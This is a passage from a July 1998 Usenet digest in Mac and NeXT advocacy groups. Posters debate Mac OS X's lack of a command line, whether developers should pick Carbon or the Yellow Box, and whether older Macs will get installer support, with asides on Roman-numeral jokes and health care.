don't have this basic administrative capability built-in to their
boxes. They *could* add it, but it would cost a lot, and not be easy
to install. Or they could buy specialized, limited, and expensive
s/w to do remote installs.
It'll be much better that a free CLI should be available. But you'd
still have to walk around to every machine to install it. Let me
repeat: This does not scale well.
In addition, not having a consistent CLI available makes it near-
impossible to develop apps that depend on command-line utilities
for their functionality and that you might want to distribute widely.
This means including such functionality in the app, otherwise known
as reinventing the wheel.
>You don't like not having it?
>Install it!
>Stop whinging.
>
>>>I think the CLI-less Macos X is simply a disclaimer.
>>>
>>>Apple has been burnt too much in the past claiming things are possible,
>>>and not delivering them.
>>
>>But the CLI is already IN Rhapsody. Apple will almost certainly have
>>to do *more* work to deliver Mac OS X without it.
>
>No, Leon. Nice try. Not more work to not install something.
We're not talking about *adding* something to Mac OS X. We're
talking about *removing* something important, something that
many other things currently depend on. Get it straight.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 11 Jul 1998 06:05:39 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o6vbj$qrc$1@supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com>
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Cc: don.brown@cesoft.com
Donald Brown may or may not have said:
-> In article <macghod-1007981752580001@sdn-ar-
-> 001casbarp159.dialsprint.net>, macghod@concentric.net says...
-> > Instead, Bereskin said "It's clear that if you are starting a new
project
-> > and want to reach as many people as possible, the best API is Carbon."
-> > His main arguments seemed to be about the size of the market where such
a
-> > project could be deployed -- he noted that Carbon apps could run on all
-> > current Power Macs (on OS releases still to be determined) and of course
-> > on all future Macs running Mac OS X. He didn't mention (and I didn't ask
-> > about) the possibility that Apple might implement a version of the
Yellow
-> > Box on pre-X versions of the Mac OS, nor did he mention the Yellow Box
-> > for Windows -- even though those together would make give developers a
-> > vastly larger target market than Mac OS X will for years to come.
-> >
-> If you are starting a new project today and want to reach as many people
-> as possible, the best API is Carbon, no doubt about it.
Umm, if and only if you want to ship a mac-only product. Write it for
OpenStep, and you get the Mac OS X seats, the Mac OS X Server seats, and (if
you *must*) the Windoze seats.
-jcr
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 01:44:59 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1107980144590001@news-proxy.cso.uiuc.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com>
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In article <MPG.10109df7848fcd95989975@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <macghod-1007981752580001@sdn-ar-
> 001casbarp159.dialsprint.net>, macghod@concentric.net says...
<snip>
> >
> If you are starting a new project today and want to reach as many people
> as possible, the best API is Carbon, no doubt about it.
Nope. If you are starting a new project and you want to reach as many
people as possible, you go with Yellow Box or Windows. Carbon is not an
alternative if that's your goal.
> Your program will run on all future variants of OS X, plus prior versions
> using the library, and most importantly, a version using OS 7.x or 8.x
> using conditional compilation of the few problems. Your one source code
> can cover all Macs run 7.0 and up.
And then you are stuck in the same old Macintosh market. There will be no
way to break out of that market and you are subject to whims of Apple
failing (or succeeding or just stagnating).
The success of the Macintosh market is then dependent on how Apple hardware
sells. (More on this... read on.)
> Whereas with OpenStep/YellowBox, on the Mac side of the street, you can
> run on MacOS X and MacOS X for Servers. People talk about the
> possibility of a Yellow box for Mac, but I'm not going to bet my company
> on a possibility.
There will be Yellow Box for Windows. If you develop for the Yellow Box,
your application will be able to run on Windows machines and Mac OS X and
Rhapsody machines.
> As for YellowBox for Windows...We know which side of the bread is
> buttered for Apple. They're not turning into a software company, they're
> a hardware company, so a development system for other OSes will take
> second place.
If Apple thinks this way, it's unbelievably short sighted of them.
The success or failure of the Macintosh hardware market _depends_ on the
software available for it. If software availablility increases for the
Macintosh market, then the Macintosh hardware market will increase. One way
to help ensure that the software market would increase would be to have
Yellow Box for Windows. Granted not every Windows developer will switch
over, but some will. New companies entering into the market will see that
this is a viable alternative to Win32 or any of the various frameworks. The
cross-platform issue won't be a major pull for these people, but the ease
of development will.
An application developed for Yellow Box on Windows is trivial to get
working for Yellow Box on Mac OS X/Rhapsody. For minimal extra work, a
developer can capture a somewhat larger total market. This has the side
effect of increasing the amount of software available for the Mac platform.
> Borland (C++Builder) and Microsoft (Visual C++) are
> dependant on their Intel development system continuing to grow and keep
> up with changes to Windows. If there were several shipping commercial
> products currently being accepted by the market created by YellowBox for
> Windows, I might reconsider, but that's one cutting edge I can avoid.
The (RDR2) Yellow Box libraries for Windows are available now (I think I
read that recently).
BTW, see:
http://www.stepwise.com/Articles/Technical/TrojanHorse.html
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <X7Gp1.1668$J37.415107@news.inreach.com>
Control: cancel <X7Gp1.1668$J37.415107@news.inreach.com>
Date: 11 Jul 1998 09:21:31 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: sharon@netcom.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: massello@primenet.com (Neill Massello)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: 11 Jul 1998 01:36:00 -0700
Organization: Eidola Enterprises
Message-ID: <massello-1107980235400001@ip199.elp.primenet.com>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net> <massello-0907980014520001@ip209.elp.primenet.com> <6o5f7g$mhl4@eccws1.dearborn.ford.com>
Mail-Copies-To: never
In article <6o5f7g$mhl4@eccws1.dearborn.ford.com>, tph@rmi.net wrote:
> Hmm. I suppose that they've already addressed the year-MMI problem
> of adding an extra letter. I mean, it's due to ship in MIM (or
> possibly MCMXCIX, depending on how you want to write it), so this
> should be OK.
>
> Will they also be updating the Finder to reflect the "X" designation?
Yes. Just wait until you see the new creation and modification dates --
kalends and nones.
> I can just imagine Get Info windows reporting that a file uses "MMMDCXXVI
> kb on disk". I hope they don't update the PPP controls like this,
> though; I really don't want to have to convert my ISP's phone number
> to Roman numerals.
>
> I can't wait to tell everyone about my G-III PowerMac, which runs at
> CCLXVI MHz.
>
> (And what ARE the Roman numerals past M anyway? I don't want to
> have to chain together all those "M"s to describe what I now call
> "4GB").
Larger numbers require a bar over the following letters:
V 5,000
X 10,000
C 100,000
M 1,000,000
(The representation of the national debt of the United States is left as
an exercise for the student.)
This is why Apple switched to Unicode, by the way -- to handle the "new"
number system. We'll all have to buy new fonts. Adobe is ecstatic.
But seriously, we shouldn't let this thread go on too long. Otherwise,
we'll soon be reading in The Wall Street Journal that Apple is now
programming in Latin -- "a dead language for a dead platform."
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 11 Jul 1998 09:44:39 GMT
Organization: I don't think so
Message-ID: <slrn6qed8n.qjg.jason@jhste1.dyn.ml.org>
References: <6o322n$crr$1@lwnws01.ne.highway1.com> <B1CA843B-1438B@206.165.43.167> <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org> <joe.ragosta-1007980833500001@wil117.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>> Funny - I've been dealing with a law firm for the last couple of days
>> that has email, but has no idea how to deal with receiving attachments.
>> They _insisted_ on a floppy, despite the inconvenience of getting the
>> damn thing.
>Good thing a law firm can afford to buy a Superdrive for their iMacs.
>BTW, feel free to tell them that I'll teach them how to use attachments
>for, let's say, $20,000.
The crazy thing is that they were willing to go to a certain amount
of inconvenience to get the floppy, and were quite skeptical about
the feasibility of using email for this purpose. An alternative was
FTP, but I didn't even bother suggesting that.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: xerxes@diku.edu.dk (Per Erik Ronne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 11:42:31 +0100
Organization: DIKU
Message-ID: <1dc02ox.4h48bdtmgzfN@ip172.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>,
> xerxes@diku.edu.dk (Per Erik Ronne) wrote:
>
> > George Graves <gmgraves@slip.net> wrote:
> >
> > > I can tell you for a dead-cinch fact that Apple most assuredly CAN
> > > restrict OSX in any way they like. If they design the installer to
> > > exclude certain gestalt IDs, then OSX simply won't install on those
> > > machine irresepective of whether or not it will actually run on them!
> >
> > Can't shareware programmers reverse-engineer the installer and allow the
> > program to be installed on this computer?
>
> Well, their is already a program to do this, people who install rhapsody
> use it. I forget the name, something like "whatami". I am sure someone
> will chime in and give its actual name. It lets you choose what kind of
> computer the computer will think it is. So, I would assume if you have a
> 030 mac, you can use it to say its a 040, and os 8 should install that
> way.
Well, maybe that will make a 6100 with a G3-card [240 MHz] able to use
MacOS X? Unless, of course, it will not run on the NuBus cumputers.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com> <35A5BA1B.3CFBDCA6@nstar.net> <slrn6qd1j8.30p.sal@panix3.panix.com> <6o6lm7$bmk$1@supernews.com>
In-Reply-To: <6o6lm7$bmk$1@supernews.com>
From: not@my.address.net
Message-ID: <K4Jp1.3329$24.19077986@news.itd.umich.edu>
Date: Sat, 11 Jul 1998 12:42:18 GMT
NNTP-Posting-Date: Sat, 11 Jul 1998 08:42:18 EDT
On 07/10/98, John C. Randolph wrote:
>
>The evil intrinsic in a claim of a "right" to something at someone else's
>expense, is that if you have a "right" to something that you can't produce
>yourself, then you must have a "right" to compel someone else to provide it.
>If you presume to claim that I have an *obligation* to pay your medical
>bills, then my response is: "Go to hell, you freeloader."
>
Would your position change if you thought that a socialized system of medicine
could lower infant mortality rates, increase life expectancy, and do it all
while consuming a lower percentage of GNP than the present system?
--
invert: umich.edu jdevlin
insert: shift "2"
From: Galen Rutledge <rutledge@pigeon.qut.edu.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sat, 11 Jul 1998 22:36:46 +1000
Organization: Queensland University of Technology, Australia
Distribution: world
Message-ID: <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net>
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On 11 Jul 1998, Leon von Stauber wrote:
>In <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> Galen Rutledge
>wrote:
>>On 7 Jul 1998, Leon von Stauber wrote:
>>>In <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> Galen
>>>Rutledge wrote:
>>
>>>>And I would bet that it will not be long before a 3rd party hacks a CLI
>>>>for MacOS X. I forsee considerable demand for just such a thing.
>>>
>>>Sure, but it won't be *built-in* as a standard component, it won't
>>>be ubiquitous on Mac OS X. It makes a big difference if you can't
>>>rely on it being there on every system.
>>
>>What unadulterated rubbish. I can think of plenty of ways a machine
>>could differ within the platform. Different mice/track-balls, utilities
>>installed on some systems and not others....
>
>Not the same. Shell scripts will work whether you have a mouse, a
>joystick, or a person-sized fully rotational gerbil cage.
Fair enough, but I don't think we were talking about the same thing.
However, since we are both ignoring the wintel side of things (lets face
it, wintel doesn't even get a look in) I accept that. Pointing devices
don't matter for a CLI.
>It *is* annoying when useful utilities are not included by default
>in the system. (Witness the hacks that most UNIX software packages
>have to use on NEXTSTEP systems due to the lack of uname.) But at
>least if you have a remote login server w/ a command line to begin
>with, it's easy to install those utilities on many machines over the
>network.
Again, fair enough. I was referring to wintel systems.
[SNIP]
>>One major hassle for me is that the NT implementation of the DOS CLI is
>>crappy, making it useless for certain applications. In other words, I
>>can't rely on a useful CLI on the *current* Wintel platform for certain
>>of my needs.
>
>The fact that Windows is brain dead is no excuse for Mac OS X.
Only too happy to agree.
>>Besides, saying that something is available, but not in the OS by
>>default is a pretty weak argument. I think you are really reaching.
>
>No. As I've said, the Windows admins have to do a *lot* more work
>to get the same things accomplished as the UNIX admins, because they
>don't have this basic administrative capability built-in to their
>boxes. They *could* add it, but it would cost a lot, and not be easy
>to install. Or they could buy specialized, limited, and expensive
>s/w to do remote installs.
>
>It'll be much better that a free CLI should be available. But you'd
>still have to walk around to every machine to install it. Let me
>repeat: This does not scale well.
I see OS components installed over a LAN every day, seems to scale just
fine.
>In addition, not having a consistent CLI available makes it near-
>impossible to develop apps that depend on command-line utilities
>for their functionality and that you might want to distribute widely.
>This means including such functionality in the app, otherwise known
>as reinventing the wheel.
You seem to think that if Apple were to produce a CLI,
and include it with the OS, then it would be the only CLI available.
Explain why there will be multiple CLI's if Apple does not provide one,
but if Apple does then nobody else will, since that is what you imply in
your complaint that a standard CLI will not be available unless Apple
provides one. I can not see the logic.
[SNIP]
>>No, Leon. Nice try. Not more work to not install something.
>
>We're not talking about *adding* something to Mac OS X. We're
>talking about *removing* something important, something that
>many other things currently depend on. Get it straight.
I really don't see how removing something should be all that difficult,
removing the functionality should be all that is required.
For example, you can remove the functionality of Quicktime on the MacOS
by removing the major components. If those components were simply no
longer available on the MacOS installer CD, making that change would
require a minimal amount of work, and it would effectively remove that
functionality. This would not prevent others from producing an
equivalent to Quicktime.
I am sorry, but I do not understand how you feel that the CLI is
important to the MacOS, since MacOS has never been released with
one (Rhapsody is not in full release yet). Equally I can not see how
"many other things currently depend on" the CLI in the MacOS, since
there has never been one.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 08:23:02 -0500
Organization: Prairie Group
Message-ID: <MPG.10112333b6a8f1df989977@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com> <6o6vbj$qrc$1@supernews.com>
In article <6o6vbj$qrc$1@supernews.com>, jcr.remove@this.phrase.idiom.com
says...
> -> If you are starting a new project today and want to reach as many people
> -> as possible, the best API is Carbon, no doubt about it.
>
> Umm, if and only if you want to ship a mac-only product. Write it for
> OpenStep, and you get the Mac OS X seats, the Mac OS X Server seats, and (if
> you *must*) the Windoze seats.
>
But you do not get any Macs run system 7.x or 8.x, and like I said, I
have yet to see how well the PC will work.
For the systems shipping now, OpenStep can at most create PC-only
products.
Donald
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 11 Jul 1998 06:51:39 GMT
Organization: University of Illinois at Chicago
Message-ID: <6o721r$1log$1@piglet.cc.uic.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu>
Pulsar (tokarek@uiuc.edu) wrote:
: It would make sense to support Mac OS X on the first generation PCI
: PowerMacs since most of the work for that will be done for Rhapsody unless
: you consider that Apple may think it can make more money forcing owners of
: these machines to buy brand new G3 or G4 machines.
: Ryan Tokarek
: <tokarek@uiuc.edu>
: <http://www.ews.uiuc.edu/~tokarek>
On the otherhand, maybe Apple doesn't expect the vast majority of users of
the older machines to upgrade to a new more resource intensive
operating system, so they can't justify the costs of supporting
the older machines for the few people who might upgrade. Besides
they are stilling going to develop System 8 for those machines
so it won't be like those users are being completely left out in
the cold.
As for Rhapsody, I don't think it is even clear which machines
it will end up supporting, so I don't think you can argue that
all the work will be done already. It's not clear to me which
kernel they are going to use in Rhapsody/Mac OS X Server 1998
edition and Mac OS X (and Server?) 1999 edition. Considering
the new name for Rhapsody, I wouldn't be suprised if Apple
doesn't put to much effort into supporting 603e and slower, older
604 systems.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 11 Jul 1998 14:07:04 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o7ri8$49g@newsb.netnews.att.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6nabot$r2h$4@ns3.vrx.net> < <6o5bis$8jo$1@news.cs.tu-berlin.de>
Originator: gupta@tlctest
Re: static typing and dynamic binding :
How does static typing work in CORBA ?
My naive thought is that when you are building your classes
and objects, you can hardly know what else is going to be out
there on the network. Alternatively, CORBA should allow your
C++ objects to interoperate transparently with somebody's
Smalltalk objects somewhere else on the network. Aren't you
abandoning compile-time type checking in this case ?
If type-errors are a problem, and more of a problem in complex
systems, then how does one expect any distributed object
architecture to work at all ?
-arun gupta
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 11:01:45 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1107981101450001@pelli.pathology.pitt.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <35a6c1d5.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> Nonsense. It'll be successful because Apple will make it successful.
> Apple can ship it on every new Mac, which alone will make it a success,
> nevermind the advantages of the OS itself.
It is not Nonsense at all. Installed base that PAID to upgrade to OS8
carried Apple for one quarter. It happened to be the first profitable
quarter they had in years. Therefore the reliance of Apple on peaple to
upgrade to newer versions of OSs at a cost of ~80 dollars is a needed and
valuble source of revenue. Abandon it and you are setting yourself up for
Failure.
>
> It'll be successful because it'll spur people to toss their
> old Macs in favor of new G3's. (A different measure of success,
> but hardware sales are the measure of Apple's success.)
That is a nice thought and as an Apple investor I say toss the Old BUY THE
NEW. But reality tells me that peaple are not so likely to do that. If I
throw down 1500.00-2000.00 on a computer then I expect it to last me 4
years. YES I SAID FOUR YEARS. To me a decent computer is worth about
500/ year. And I am certain that most peaple in this world are Cheap
bastards like me. That is why the iMACS will sell so well. If they can
sell a lot of these before OSx then they might have a nice installed base
to sell upgades to.
>
> It's about time Apple got their hardware in order, and
> unfortunately that means ending support for the old machines with
> all their myriad, bug-inducing, hard-to-support designs.
Actually you are not correct. The myriad of motherboard designs went bye
bye when Steve came back. The fact that the Mach 3 kernal that OS X sits
on ALREADY runs on 7600, 8600, and 9600s says that adding this support to
those computers should not be difficult at all. I am guessing that in the
end these machines will be supported before OS X shipps. Apple is trying
to shatter unreasonable expectations like support any nubus,performas and
clones based on those MotherBoards and then give in. In the end they will
support the X600 series.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 08:05:39 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1107980805390001@sf-usr1-11-139.dialup.slip.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
In article <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In the short term, apple is definitely doing good. But, they now have the
> best os (openstep) and best dev tools (interface builder, project builder,
> webobjects etc). But, the bellow is disturbing:
>
> http://www.macintouch.com/ny1998day2.html
<snip>
> On the basis of this conversation, I'm going to go way out on a limb and
> indulge in some wild speculation. (Remember, this is I, not Bereskin.) I
> predict that Apple is going to sell or spin off the Yellow Box, probably
> along with WebObjects, to some entity focused on Java. If it's sold, it
> could be to Sun, or Inprise (the former Borland, run by Del Yocam), or
> maybe part of Oracle.
Nah!, Apple will do what Apple always does when they get ahold of a
superior technology (especially one N.I.H.) that they don't quite know
what to do with. They will just abandon it. Yellow Box has all the
earmarks of being another OpenDoc. First its "were gung-ho behind
it", then its "We are still supporting it" (where Yellow Box is now).
The next step is "We will support it, but we will not continue to
develop it, and finally, "We will no longer support this technology
beyond its current release." As night follows day.........
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 08:08:30 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
In article <6o6in8$83n$1@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
> Steve Sullivan may or may not have said:
>
> [snip]
>
> -> Instead, Bereskin said "It's clear that if you are starting a new project
> -> and want to reach as many people as possible, the best API is Carbon."
>
> Sounds to me like that boy's got to go. Anyone promoting Carbon as anything
> more than a legacy-app migration tool is Part of the Problem (tm).
It certainly sounds like Apple.............
I'd say that Yellow Box is well on its way to being history.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 08:09:36 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1107980809360001@sf-usr1-11-139.dialup.slip.net>
References: <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3>
In article <B1CC45E8-D794A@206.165.43.3>, "Lawson English"
<english@primenet.com> wrote:
> John C. Randolph <jcr.remove@this.phrase.idiom.com> said:
>
> >Does anyone know if this guy's in any kind of decision-making role, or is
> he
> >just a marketing dweeb? If he's just repeating the mantra to keep Lawson
> >from freaking out I'd cut him some slack, but this really sounds like he's
>
> >telling Mac developers to keep crippling their apps with a 1984-vintage
> >Pascal API.
>
> Excuse? GX won't run in Carbon. Given a choice between Carbon and YB, I
> would chose YB because I don't have legacy code to support (unless you
> count a text-parsing external for HyperCard that calls GX APIs). He isn't
> placating me, but Adobe and Microsoft and their ilk.
>
>
> What is frightening is the thought that YB might really not work as well as
> has been hoped. WHere's the native Mac framework if YB isn't going to be
> it?
I think it works just fine, but Apple has moved on, leaving YB in the dust.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 08:26:16 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1107980826160001@sf-usr1-11-139.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>
In article <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>,
xerxes@diku.edu.dk (Per Erik Ronne) wrote:
> George Graves <gmgraves@slip.net> wrote:
>
> > I can tell you for a dead-cinch fact that Apple most assuredly CAN
> > restrict OSX in any way they like. If they design the installer to exclude
> > certain gestalt IDs, then OSX simply won't install on those machine
> > irresepective of whether or not it will actually run on them!
>
> Can't shareware programmers reverse-engineer the installer and allow the
> program to be installed on this computer?
On DR2 they've covered that very well. There is this shareware control panel
called "I wish I were". What it does is return a false ID when queried
about the
computer's model. One can simply pick the model they want to be from the list,
and restart. The problem is that "I wish I were" MUST be running on the boot
OS in order for it to do this. Rhapsody DR2's installer was designed to ONLY
install from the OS on the installer CD. If you try to move the Installer OS to
another volume, it tells you that the install MUST be made from the original
CD, not from a copy. So, how do you add a new control panel to an OS on a CD?
Oh, one more thing, if you copy the CD in its entirety to another volume and
then add the "I wish I were" control panel, then burn a new CD from that, you
get the same "Install must be made from original CD" message. I'd say they
have it covered.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 08:28:47 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1107980828480001@sf-usr1-11-139.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net>
In article <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>,
> xerxes@diku.edu.dk (Per Erik Ronne) wrote:
>
> > George Graves <gmgraves@slip.net> wrote:
> >
> > > I can tell you for a dead-cinch fact that Apple most assuredly CAN
> > > restrict OSX in any way they like. If they design the installer to exclude
> > > certain gestalt IDs, then OSX simply won't install on those machine
> > > irresepective of whether or not it will actually run on them!
> >
> > Can't shareware programmers reverse-engineer the installer and allow the
> > program to be installed on this computer?
>
> Well, their is already a program to do this, people who install rhapsody
> use it. I forget the name, something like "whatami". I am sure someone
> will chime in and give its actual name. It lets you choose what kind of
> computer the computer will think it is. So, I would assume if you have a
> 030 mac, you can use it to say its a 040, and os 8 should install that
> way.
Except that "I wish I were" has to be running on the boot OS, and the Rhapsody
DR2 release will ONLY install from the OS on the Install CD. Its pretty
difficult
to add a control panel to a read-only system folder.
George Graves
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 11 Jul 1998 15:31:02 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6o80fm$b0o$1@news.cs.tu-berlin.de>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <slrn6qd055.30p.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
sal@panix3.panix.com (Salvatore Denaro) writes:
>On 10 Jul 1998 17:34:33 GMT, Don Yacktman <don@misckit.com> wrote:
>>Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT a
>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>"solution" as far as I'm concerned. I want the full OS, on Intel. Period.
> ^^^^^^^^^^
>I agree that NT is less than optimal in many/most cases; BUT, I CAN NOT
>SELL A PRODUCT THAT WILL NOT RUN WITH MS OFFICE. Unless OSXtel can run
>MS Office (native, not under a "RedBox") then I can not sell it.
>YB on NT is a much easier sell.
Nobody is saying they should drop YB/Win. The point is that they
absolutely need both Rhap/Intel AND YB/Win.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 08:34:22 -0700
Organization: Graves Associates
